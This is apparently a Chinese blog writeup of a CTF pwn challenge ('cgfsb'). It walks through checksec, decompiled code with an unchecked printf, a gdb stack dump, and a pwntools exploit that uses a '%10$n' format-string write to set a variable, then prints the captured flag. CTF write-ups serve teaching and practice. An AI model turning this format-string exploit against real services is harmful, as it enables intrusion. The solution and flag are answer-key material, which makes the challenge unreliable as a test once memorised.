# 攻防世界 pwn cgfsb writeup

原创

PLpa、 于 2019-07-06 21:23:05 发布 1625 收藏 5

文章标签： pwn 格式化字符串漏洞



本文链接：https://blog.csdn.net/qq_43986365/article/details/94896862



## 攻防世界pwn——cgfsb

这一题是关于格式化字符串漏洞的题，是一个单一漏洞题，不需要太多的绕过。
拿到题目首先查看一下保护：

```
root@kali:~/pwn# checksec cgfsb
[*] '/root/pwn/cgfsb'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

可以看到，这是一个32位的程序。
并且开启了Canary保护和NX保护。
我们看一下IDA：
进入IDA，按下F5可以得到伪C代码：

```
puts("please tell me your name:");
read(0, &buf, 0xAu);
puts("leave your message please:");
fgets(&s, 100, stdin);
printf("hello %s", &buf);
puts("your message is:");
printf(&s);
if ( pwnme == 8 )
{
  puts("you pwned me, here is your flag:\n");
  system("cat flag");
}
else
{
  puts("Thank you!");
}
```



可以看到有一个格式化漏洞printf（&s），我们可以通过这条语句把pwnme的值改为8，就可以的到flag了。
打开gdb，查看pwnme的偏移：
首先下一个断点：
下到printf（）那里：

```
Reading symbols from cgfsb...(no debugging symbols found)...done.
(gdb) b *0x080486b5
Breakpoint 1 at 0x80486b5
```

```
(gdb) r
Starting program: /root/pwn/cgfsb
please tell me your name:
aaaa
leave your message please:
aaaa

Breakpoint 1, 0x080486b5 in main ()
(gdb) x/16wx $esp
0xffffd2a0:     0x080487f5      0xffffd2be      0xf7fa95c0      0xffffd30c
0xffffd2b0:     0xf7ffdab0      0x00000001      0xf7fcd410      0x61610001
0xffffd2c0:     0x000a6161      0x00000000      0x61616161      0x0000000a
0xffffd2d0:     0x00000000      0x00000000      0x00000000      0x00000000
(gdb)
```



查看我们输入的参数位置在第10位，从零开始，数到箭头位置是第十位。（a的ACSII码的16进制为0x61）
知道了偏移，下面就是构造exp了。
exp如下：

```
#! /usr/bin/env python
from pwn import *
#p=process('./cgfsb')
p=remote('111.198.29.45',36477)
pwnme_addr=0x0804A068
p.sendlineafter("name:\n",'a'*8)
p.sendlineafter("message please:\n",p32(pwnme_addr)+'a'*4+'%10$n')
print p.recvall()
print p.recvall()
```

pwnme的地址可以在IDA中查看。
然后就运行exp就可以了。

```
root@kali:~/pwn# python exp2.py
[+] Opening connection to 111.198.29.45 on port 36477: Done
[+] Receiving all data: Done (120B)
[*] Closed connection to 111.198.29.45 port 36477
hello aaaaaaaa
your message is:
h\xa0\x0aaaa
you pwned me, here is your flag:

cyberpeace{13a8f92ad85f7a7287504fe806c193f0}

[+] Receiving all data: Done (0B)
```